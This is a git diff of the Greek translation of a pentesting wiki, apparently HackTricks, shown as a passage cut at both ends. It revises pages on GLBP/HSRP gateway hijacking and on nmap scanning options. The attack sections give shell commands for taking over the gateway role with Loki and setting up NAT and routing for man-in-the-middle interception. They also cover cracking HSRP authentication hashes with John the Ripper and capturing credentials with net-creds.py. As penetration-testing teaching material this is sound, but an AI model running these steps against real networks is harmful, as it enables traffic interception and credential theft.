UDP στη θύρα 3222 για την επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, θεωρείται ότι είναι εκτός σύνδεσης. Ωστόσο, αυτοί οι χρονοδιακόπτες δεν είναι σταθεροί και μπορούν να τροποποιηθούν. +### Εισαγωγή στο Πρωτόκολλο GLBP +Η δημιουργία της Cisco, το GLBP, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας UDP στη θύρα 3222 για την επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, υποθέτεται ότι είναι εκτός λειτουργίας. Ωστόσο, αυτοί οι χρονομετρητές δεν είναι σταθεροί και μπορούν να τροποποιηθούν. -### Λειτουργίες και κατανομή φορτίου του GLBP -Το GLBP ξεχωρίζει δυναμικά επιτρέποντας την κατανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα μόνο εικονικό IP συνδυασμένο με πολλές εικονικές διευθύνσεις MAC. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα από το HSRP/VRRP, το GLBP προσφέρει πραγματική ισορροπία φορτίου μέσω αρκετών μηχανισμών: +### Λειτουργίες και Διανομή Φορτίου του GLBP +Το GLBP ξεχωρίζει επιτρέποντας τη διανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα εικονικό IP συνδεδεμένο με πολλές εικονικές διευθύνσεις MAC. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα με το HSRP/VRRP, το GLBP προσφέρει γνήσια ισορροπία φορτίου μέσω διαφόρων μηχανισμών: -- **Ισορροπία φορτίου ανάλογα με τον κόμβο:** Διατηρεί σταθερή ανάθεση διεύθυνσης MAC AVF σε έναν κόμβο, απαραίτητη για σταθερές ρυθμίσεις NAT. -- **Ισορροπία φορτίου με τη μέθοδο Round-Robin:** Η προεπιλεγμένη προσέγγιση, εναλλαγή ανάθεσης διεύθυνσης MAC AVF μεταξύ των αιτούντων κόμβων. -- **Ισορροπία φορτίου με τη μέθοδο Weighted Round-Robin:** Διανέμει το φορτίο με βάση προκαθορισμένες μετρικές "Weight". +- **Ισορροπία Φορτίου Εξαρτημένη από τον Χρήστη:** Διατηρεί σταθερή ανάθεση διεύθυνσης MAC AVF σε έναν υπολογιστή, το οποίο είναι ουσιώδες για σταθερές ρυθμίσεις NAT. +- **Ισορροπία Φορτίου Round-Robin:** Η προεπιλεγμένη προσέγγιση, εναλλάσσει την ανάθεση διεύθυνσης MAC AVF μεταξύ των αιτούντων υπολογιστών. +- **Ισορροπία Φορτίου Με Βάρη Round-Robin:** Διανέμει το φορτίο με βάση τις προκαθορισμένες μετρικές "Βάρος". -### Κύρια στοιχεία και ορολογία στο GLBP -- **AVG (Active Virtual Gateway):** Ο κύριος δρομολογητής, υπεύθυνος για την ανάθεση διευθύνσεων MAC σε δρομολογητές ομοτίμους. -- **AVF (Active Virtual Forwarder):** Ένας δρομολογητής που έχει οριστεί για τη διαχείριση της κίνησης του δικτύου. -- **Προτεραιότητα GLBP:** Μετρική που καθορίζει τον AVG, ξεκινώντας από την προεπιλεγμένη τιμή 100 και κυμαίνεται από 1 έως 255. -- **Βάρος GLBP:** Αντικατοπτρίζει το τρέχον φορτίο ενός δρομολογητή, ρυθμίζεται είτε χειροκίνητα είτε μέσω ανίχνευσης αντικειμένου. -- **Εικονική διεύθυνση IP GLBP:** Λειτουργεί ως προεπιλεγμένη πύλη δικτύου για όλες τις συνδεδεμένες συσκευές. +### Κύρια Στοιχεία και Ορολογίες στο GLBP +- **AVG (Ενεργή Εικονική Πύλη):** Ο κύριος δρομολογητής, υπεύθυνος για την ανάθεση διευθύνσεων MAC σε δρομολογητές ομότιμους. +- **AVF (Ενεργός Εικονικός Προωθητής):** Ένας δρομολογητής που έχει οριστεί για τη διαχείριση της κίνησης στο δίκτυο. +- **Προτεραιότητα GLBP:** Μετρική που καθορίζει τον AVG, ξεκινώντας από προεπιλεγμένη τιμή 100 και κυμαίνεται μεταξύ 1 και 255. +- **Βάρος GLBP:** Αντικατοπτρίζει το τρέχον φορτίο σε ένα δρομολογητή, ρυθμίσιμο είτε χειροκίνητα είτε μέσω Ανίχνευσης Αντικειμένου. +- **Εικονική Διεύθυνση IP GLBP:** Λειτουργεί ως προεπιλεγμένη πύλη για όλες τις συνδεδεμένες συσκευές. -Για τις αλληλεπιδράσεις, το GLBP χρησιμοποιεί την ειδική διεύθυνση πολυεκπομπής 224.0.0.102 και τη θύρα UDP 3222. Οι δρομολογητές μεταδίδουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί αν χάσουν ένα πακέτο για 10 δευτερόλεπτα. +Για τις αλληλεπιδράσεις, το GLBP χρησιμοποιεί την ειδική διεύθυνση πολυεκπομπής 224.0.0.102 και τη θύρα UDP 3222. Οι δρομολογητές μεταδίδουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί αν χάσουν ένα πακέτο για διάρκεια 10 δευτερολέπτων. -### Μηχανισμός επίθεσης GLBP -Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής αποστέλλοντας ένα πακέτο GLBP με την υψηλότερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή την ανακατεύθυνση της κίνησης. +### Μηχανισμός Επίθεσης GLBP +Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής αποστέλλοντας ένα πακέτο GLBP με τη μεγαλύτερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή την ανακατεύθυνση της κίνησης. -### Ε +### Εκτέλεση Επίθεσης GLBP με το Loki +Το [Loki](https://github.com/raizo62/loki_on_kali) μπορεί να εκτελέσει μια επίθεση GLBP με την εισαγωγή ενός πακέτου με τις τιμές προτεραιότητας και βάρους ορισμένες σε 255. Οι προεπιθετικές ενέργειες περιλαμβάνουν τη συλλογή πληροφοριών όπως η εικονική διεύθυνση IP, η παρουσία πιστοποίησης και οι τιμές προτεραιότητας δρομολογητών χρησιμοποιώντας εργαλεία όπως το Wireshark. + +Βήματα Επίθεσης: +1. Αλλαγή σε προωθητική λειτουργία και ενεργοποίηση προώθησης IP. +2. Αναγνώριση του στόχου δρομολογητή και ανάκτηση της IP του. +3. Δημιουργία ενός Gratuitous ARP. +4. Εισαγωγή ενός κακόβουλου πακέτου GLBP, παριστάνοντας τον AVG. +5. Ανάθεση δευτερεύουσας διεύθυνσης IP στη διεπαφή δικτύου του επιτιθέμενου, αντικατοπτρίζοντας την εικονική διεύθυνση IP του GLBP. +6. Εφαρμογή SNAT για πλήρη ορατότητα της κίνησης. +7. Προσαρμογή δρομολόγησης για να διασφαλιστεί η συνεχής πρόσβαση στο διαδίκτυο μέσω του αρχικού δρομολογητή AVG. + +Ακολουθώντας αυτά τα βήματα, ο επιτιθέμενος τοποθετείται ως "άνθρωπος στη μέση", ικανός να παρεμβαίνει και να αναλύει την κίνηση του δικτύου, συμπεριλαμβανομένων μη κρυπτογραφημένων ή ευαίσθητων δεδομένων. + +Για επίδειξη, παρακάτω παρατίθενται τα απαιτούμενα αποσπάσματα εντολών: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -56,28 +73,26 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` -Η παρακολούθηση και η παρέμβαση στην κίνηση μπορεί να γίνει χρησιμοποιώντας το net-creds.py ή παρόμοια εργαλεία για την καταγραφή και ανάλυση των δεδομένων που ρέουν μέσω του πειρατεμένου δικτύου. - -### Παθητική Εξήγηση της Απάτης HSRP με Λεπτομέρειες Εντολών +### Παθητική Εξήγηση της Απαγωγής του HSRP με Λεπτομέρειες Εντολών #### Επισκόπηση του HSRP (Hot Standby Router/Redundancy Protocol) -Το HSRP είναι ένα πρωτόκολλο ιδιοκτησίας της Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε μια μόνο λογική μονάδα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν πρωταρχικό δρομολογητή που είναι υπεύθυνος για την κατεύθυνση της κίνησης. Αντίθετα από το GLBP, που χρησιμοποιεί μετρικές όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης. +Το HSRP είναι ένα πρωτόκολλο που ανήκει στην Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε ένα μόνο λογικό μονάδα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν κύριο δρομολογητή που είναι υπεύθυνος για την καθοδήγηση της κίνησης. Αντίθετα με το GLBP, το οποίο χρησιμοποιεί μετρήσεις όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης. #### Ρόλοι και Ορολογία στο HSRP -- **Ενεργός Δρομολογητής HSRP**: Η συσκευή που λειτουργεί ως πύλη και διαχειρίζεται τη ροή της κίνησης. -- **Δρομολογητής Εφεδρικού HSRP**: Ένας αντιγραφής ασφαλείας δρομολογητής, έτοιμος να αναλάβει τον ρόλο του ενεργού δρομολογητή σε περίπτωση αποτυχίας. -- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για τον σχηματισμό ενός μόνο ανθεκτικού εικονικού δρομολογητή. +- **Ενεργός Δρομολογητής HSRP**: Η συσκευή που λειτουργεί ως πύλη, διαχειρίζεται τη ροή της κίνησης. +- **Δευτερεύων Δρομολογητής HSRP**: Ένας εφεδρικός δρομολογητής, έτοιμος να αναλάβει τον ρόλο αν ο ενεργός δρομολογητής αποτύχει. +- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για το σχηματισμό ενός μοναδικού ανθεκτικού εικονικού δρομολογητή. - **Διεύθυνση MAC HSRP**: Μια εικονική διεύθυνση MAC που ανατίθεται στον λογικό δρομολογητή στη διάταξη HSRP. -- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές. +- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως η προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές. #### Εκδόσεις HSRP -Το HSRP έχει δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα της ομάδας, τη χρήση πολυεκπομπής IP και τη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις πολυεκπομπής IP για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που αποστέλλονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός εάν δεν λάβει κανένα πακέτο εντός 10 δευτερολέπτων. +Το HSRP έρχεται σε δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα ομάδας, στη χρήση διεύθυνσης IP πολυεκπομπής και στη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις IP πολυεκπομπής για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που στέλνονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός εάν δεν λάβει κανένα πακέτο εντός ενός χρονικού διαστήματος 10 δευτερολέπτων. #### Μηχανισμός Επίθεσης HSRP -Οι επιθέσεις HSRP περιλαμβάνουν την ανάληψη με βία του ρόλου του Ενεργού Δρομολογητή εισάγοντας μια μέγιστη τιμή προτεραιότητας. Αυτό μπορεί να οδηγήσει σε μια επίθεση Man-In-The-Middle (MITM). Ουσιαστικά βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για την ανάλυση της κίνησης. +Οι επιθέσεις HSRP περιλαμβάνουν την ανάληψη βίαια του ρόλου του Ενεργού Δρομολογητή με την εισαγωγή μέγιστης τιμής προτεραιότητας. Αυτό μπορεί να οδηγήσει σε επίθεση Man-In-The-Middle (MITM). Οι βασικές βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη του HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για ανάλυση της κίνησης. #### Βήματα για την Παράκαμψη Πιστοποίησης HSRP -1. Αποθηκεύστε την κίνηση του δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap. +1. Αποθηκεύστε την κίνηση δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap. ```shell tcpdump -w hsrp_traffic.pcap ``` @@ -85,18 +100,40 @@ tcpdump -w hsrp_traffic.pcap ```shell python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes ``` -3. Αποκρυπτογραφήστε τις κατακερματισμένες τιμές MD5 χρησιμοποιώντας το John the Ripper. +3. Κρυπτογραφήστε τις τιμές MD5 χρησιμοποιώντας το John the Ripper. ```shell john --wordlist=mywordlist.txt hsrp_hashes ``` -**Εκτέλεση Ενέργειας Εισαγωγής HSRP με το Loki** +**Εκτέλεση Εισαγωγής HSRP με το Loki** -1. Ξεκινήστε το Loki για να εντοπίσετε τις διαφημίσεις HSRP. -2. Ορίστε τη δικτυακή διεπαφή σε λειτουργία promiscuous και ενεργοποιήστε την προώθηση IP. +1. Εκκινήστε το Loki για να αναγνωρίσετε τις διαφημίσεις HSRP. +2. Ορίστε τη διεπαφή δικτύου σε λειτουργία προωθημένης λήψης και ενεργοποιήστε την προώθηση IP. ```shell sudo ip link set eth0 promisc on sudo sysctl -w net.ipv4.ip_forward=1 ``` -3. Χρησιμοποιήστε το Loki για να επιτεθείτε στον συγκεκριμένο δρομολογητή, εισαγάγετε το αποκρυπτογραφημένο HSRP κωδικό πρόσβασης και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να προσομοιώσετε τον Ενεργό Δρομολογητή. -4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη +3. Χρησιμοποιήστε το Loki για να στοχεύσετε τον συγκεκριμένο δρομολογητή, εισαγάγετε τον κατεστραμμένο κωδικό HSRP και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να υποκαταστήσετε τον Ενεργό Δρομολογητή. +4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη διεπαφή δικτύου και τους πίνακες IP για να παρεμβάλετε τη νόμιμη κίνηση. +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. Τροποποιήστε τον πίνακα δρομολόγησης για να δρομολογήσετε την κίνηση μέσω του προηγούμενου Ενεργού Δρομολογητή. +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. Χρησιμοποιήστε το net-creds.py ή ένα παρόμοιο εργαλείο για να καταγράψετε διαπιστευτήρια από την παρεμβαλλόμενη κίνηση. +```shell +sudo python2 net-creds.py -i eth0 +``` + +Η εκτέλεση αυτών των βημάτων τοποθετεί τον επιτιθέμενο σε μια θέση για να παρεμβαίνει και να χειρίζεται την κίνηση, παρόμοια με τη διαδικασία για την απαγωγή του GLBP. Αυτό υπογραμμίζει την ευπάθεια σε πρωτόκολλα αντιγραφής ασφάλειας όπως το HSRP και την ανάγκη για ανθεκτικά μέτρα ασφαλείας. + +## Αναφορές +- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) + +
+ +{% embed url="https://websec.nl/" %} diff --git a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index fe6f8fe85..0aa24ce58 100644 --- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -4,60 +4,78 @@ Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub. + +
+ +{% embed url="https://websec.nl/" %} ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` ## Παράμετροι -### Διευθύνσεις IP για σάρωση +### IPs για σάρωση -* **`,`:** Δηλώνει τις διευθύνσεις IP απευθείας -* **`-iL `:** Λίστα_IPs -* **`-iR `**: Αριθμός τυχαίων IPs, μπορείτε να αποκλείσετε πιθανά IPs με `--exclude ` ή `--excludefile `. +* **`,`:** Δείχνει τις διευθύνσεις ip απευθείας +* **`-iL `:** list\_IPs +* **`-iR `**: Αριθμός τυχαίων Ips, μπορείτε να εξαιρέσετε πιθανές Ips με `--exclude ` ή `--excludefile `. ### Ανακάλυψη εξοπλισμού Από προεπιλογή, το Nmap ξεκινά μια φάση ανακάλυψης που αποτελείται από: `-PA80 -PS443 -PE -PP` -* **`-sL`**: Δεν είναι επεμβατικό, καταγράφει τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να γνωρίζουμε αν, για παράδειγμα, όλες οι διευθύνσεις IP www.prueba.es/24 είναι οι στόχοι μας. -* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλες είναι ενεργές (αλλιώς μπορείτε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικά λέγοντας ότι δεν είναι ενεργές), αποτρέπει τη φάση ανακάλυψης. -* **`-sn`** : **Χωρίς σάρωση θυρών**. Αφού ολοκληρωθεί η φάση αναγνώρισης, δεν γίνεται σάρωση θυρών. Είναι σχετικά αόρατο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια, στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και ένα αίτημα echo και ένα αίτημα Timestamp, χωρίς προνόμια ολοκληρώνει πάντα τις συνδέσεις. Αν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Αν χρησιμοποιηθεί με μια άλλη επιλογή, μόνο τα πακέτα της άλλης επιλογής απορρίπτονται. -* **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι πιο γρήγορο από τη χρήση pings. Αν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`. -* **`-PS `**: Στέλνει πακέτα SYN σε θύρες, αν απαντήσει με SYN/ACK είναι ανοιχτή (απαντά με RST για να μην τερματίσει τη σύνδεση), αν απαντήσει με RST είναι κλειστή και αν δεν απαντήσει είναι μη προσβάσιμη. Σε περίπτωση έλλειψης προνομίων, χρησιμοποιείται αυτόματα μια ολοκληρωμένη σύνδεση. Αν δεν δοθούν θύρες, το στέλνει στη θύρα 80. -* **`-PA `**: Όπως το προηγούμενο αλλά με ACK, η συνδυασμένη χρήση και των δύο δίνει καλύτερα αποτελέσματα. -* **`-PU `**: Ο στόχος είναι το αντίθετο, στέλνονται σε θύρες που αναμένεται να είναι κλειστές. Ορισμένα τείχη προστασίας ελέγχουν μόνο τις συνδέσεις TCP. Αν είναι κλειστή, απαντά με port unreachable, αν απαντά με άλλο icmp ή δεν απαντά, θεωρείται ότι είναι μη προσβάσιμη. -* **`-PE, -PP, -PM`** : ICMP PINGS: απάντηση echo, timestamp και addresmask. Αποστέλλονται για να διαπιστωθεί αν ο στόχος είναι ενεργός. -* **`-PY`**: Αποστέλλει προβολές SCTP INIT στη θύρα 80 από προεπιλογή, μπορεί να απαντήσε -**--osscan-guess** Όταν η ανίχνευση του λειτουργικού συστήματος δεν είναι τέλεια, αυτή η επιλογή τον αναγκάζει να προσπαθήσει περισσότερο. +* **`-sL`**: Δεν είναι επεμβατικό, καταχωρεί τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να μάθετε αν για παράδειγμα το www.prueba.es/24 όλες οι Ips είναι οι στόχοί μας. +* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλα είναι ενεργά (αλλιώς, θα μπορούσατε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικά λέγοντας ότι δεν είναι ενεργά), αποτρέπει τη φάση ανακάλυψης. +* **`-sn`** : **Χωρίς σάρωση θυρών**. Μετά την ολοκλήρωση της φάσης αναγνώρισης, δεν σαρώνει θύρες. Είναι σχετικά αθόρυβο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και μια αίτηση echo και μια αίτηση Timestamp, χωρίς προνόμια πάντα ολοκληρώνει συνδέσεις. Εάν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Εάν χρησιμοποιηθεί με μια άλλη επιλογή, πέφτουν μόνο τα πακέτα της άλλης επιλογής. +* **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι ταχύτερο από τη χρήση pings. Εάν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`. +* **`-PS `**: Αποστέλλει πακέτα SYN στα οποία αν απαντήσει με SYN/ACK είναι ανοιχτή (στα οποία απαντά με RST για να μην ολοκληρωθεί η σύνδεση), αν απαντά με RST είναι κλειστή και αν δεν απαντά είναι μη προσβάσιμη. Σε περίπτωση που δεν υπάρχουν προνόμια, χρησιμοποιείται αυτόματα μια συνολική σύνδεση. Εάν δεν δίνονται θύρες, το αποστέλλει στη θύρα 80. +* **`-PA `**: Όπως το προηγούμενο αλλά με ACK, συνδυάζοντας και τα δύο δίνει καλύτερα αποτελέσματα. +* **`-PU `**: Το αντίθετο, αποστέλλονται σε θύρες που αναμένεται να είναι κλειστές. Κάποια firewalls ελέγχουν μόνο τις συνδέσεις TCP. Εάν είναι κλειστό απαντά με port unreachable, εάν απαντά με άλλο icmp ή δεν απαντά αφήνεται ως προορισμός μη προσβάσιμος. +* **`-PE, -PP, -PM`** : ICMP PINGS: απάντηση echo, timestamp και addresmask. Αποστέλλονται για να μάθουμε αν ο στόχος είναι ενεργός. +* **`-PY`**: Αποστέλλει SCTP INIT probes στη θύρα 80 από προεπιλογή, INIT-ACK(ανοιχτή) ή ABORT(κλειστή) ή τίποτα ή ICMP unreachable(ανενεργή) μπορεί να απαντηθεί. +* **`-PO `**: Υποδεικνύεται ένα πρωτόκολλο στα headers, από προεπιλογή 1(ICMP), 2(IGMP) και 4(Encap IP). Για τα πρωτόκολλα ICMP, IGMP, TCP (6) και UDP (17) αποστέλλονται τα headers των πρωτοκόλλων, για τα υπόλοιπα αποστέλλεται μόνο το IP header. Ο σκοπός αυτού είναι ότι λόγω της ανωμαλίας των headers, απαντώνται πρωτόκολλα unreachable ή απαντήσεις του ίδιου πρωτοκόλλου για να γνωρίζουμε αν είναι ενεργό. +* **`-n`**: Χωρίς DNS +* **`-R`**: Πάντα DNS -**Σενάρια** +### Τεχνικές σάρωσης θυρών -\--script _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<φάκελος>_|_\<έκφραση>_\[,...] +* **`-sS`**: Δεν ολοκληρώνει τη σύνδεση έτσι δεν αφήνει ίχνη, πολύ καλό αν μπορεί να χρησιμοποιηθεί (προνόμια) Είναι αυτό που χρησιμοποιείται από προεπιλογή. +* **`-sT`**: Ολοκληρώνει τη σύνδεση, οπότε αφήνει ίχνη, αλλά μπορεί να χρησιμοποιηθεί με βεβαιότητα. Από προεπιλογή χωρίς προνόμια. +* **`-sU`**: Πιο αργό, για UDP. Κυρίως: DNS(53), SNMP(161,162), DHCP(67 και 68), (-sU53,161,162,67,68): ανοιχτή(απάντηση), κλειστή(port unreachable), φιλτραρισμένη (άλλο ICMP), ανοιχτή/φιλτραρισμένη (τίποτα). Σε περίπτωση ανοιχτής/φιλτραρισμένης, το -sV αποστέλλει πολλαπλά αιτήματα για να ανιχνεύσει οποιαδήποτε από τις εκδόσεις που υποστηρίζει το nmap και μπορεί να ανιχνεύσει την πραγματική κατάσταση. Αυξάνει πολύ τον χρόνο. +* **`-sY`**: Το πρωτόκολλο SCTP αποτυγχάνει να καθιερώσει τη σύνδεση, έτσι δεν υπάρχουν καταγραφές, λειτουργεί όπως το -PY +* **`-sN,-sX,-sF`:** Null, Fin, Xmas, μπορούν να διεισδύσουν σε μερικούς firewalls και να εξάγουν πληροφορίες. Βασίζονται στο γεγονός ότι μη συμμορφούμενες μηχανές θα έπρεπε να απαντούν με RST σε όλα τα αιτήματα που δεν έχουν ανασηκωμένες σημαίες SYN, RST ή ACK: ανοιχτή/φιλτραρισμένη(τίποτα), κλειστή(RST), φιλτραρισμένη (ICMP unreachable). Αναξιόπιστο σε Windows, CIsco, BSDI και OS/400. Σε unix ναι. +* **`-sM`**: Maimon scan: Αποστέλλει σημαίες FIN και ACK, χρησιμοποιείται για BSD, αυτή τη στιγμή θα επιστρέψει όλα ως κλειστά. +* **`-sA, sW`**: ACK και Window, χρησιμοποιούνται για την ανίχνευση firewalls, για να μάθουμε αν οι θύρες είναι φιλτραρισμένες ή όχι. Το -sW διακρίνει μεταξύ ανοιχτών/κλειστών αφού οι ανοιχτές απαντούν με διαφορετική τιμή παραθύρου: ανοιχτή (RST με τιμή παραθύρου διαφορετική του 0), κλειστή (RST παράθυρο = 0), φιλτραρισμένη (ICMP unreachable ή τίποτα). Όχι όλοι οι υπολογιστές λειτουργούν με αυτόν τον τρόπο, οπότε αν είναι όλα κλειστά, δεν λειτουργεί, αν είναι λίγα ανοιχτά, λειτουργεί καλά, και αν είναι πολλά ανοιχτά και λίγα κλειστά, λειτουργεί με τον αντίστροφο τρόπο. +* **`-sI`:** Idle scan. Για τις περιπτώσεις στις οποίες υπάρχει ένα ενεργό τείχος πυρασφάλειας αλλά γνωρίζουμε ότι δεν φιλτράρει σε μια συγκεκριμένη Ip (ή όταν απλά θέλουμε ανωνυμία) μπορούμε να χρησιμοποιήσουμε τον ανιχνευτή zombie (λειτουργεί για όλες τις θύρες), για να βρούμε πιθανούς zombies μπορούμε να χρησιμο +**--osscan-guess** Όταν η ανίχνευση του λειτουργικού συστήματος δεν είναι τέλεια, αυτό κάνει το εργαλείο να προσπαθήσει περισσότερο. + +**Scripts** + +\--script _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<κατάλογος>_|_\<έκφραση>_\[,...] Για να χρησιμοποιήσετε τα προεπιλεγμένα, αρκεί να χρησιμοποιήσετε -sC ή --script=default -Οι διαθέσιμες κατηγορίες είναι: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, και vuln +Οι διαθέσιμοι τύποι είναι: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, και vuln -* **Auth:** εκτελεί όλα τα διαθέσιμα σενάρια για πιστοποίηση -* 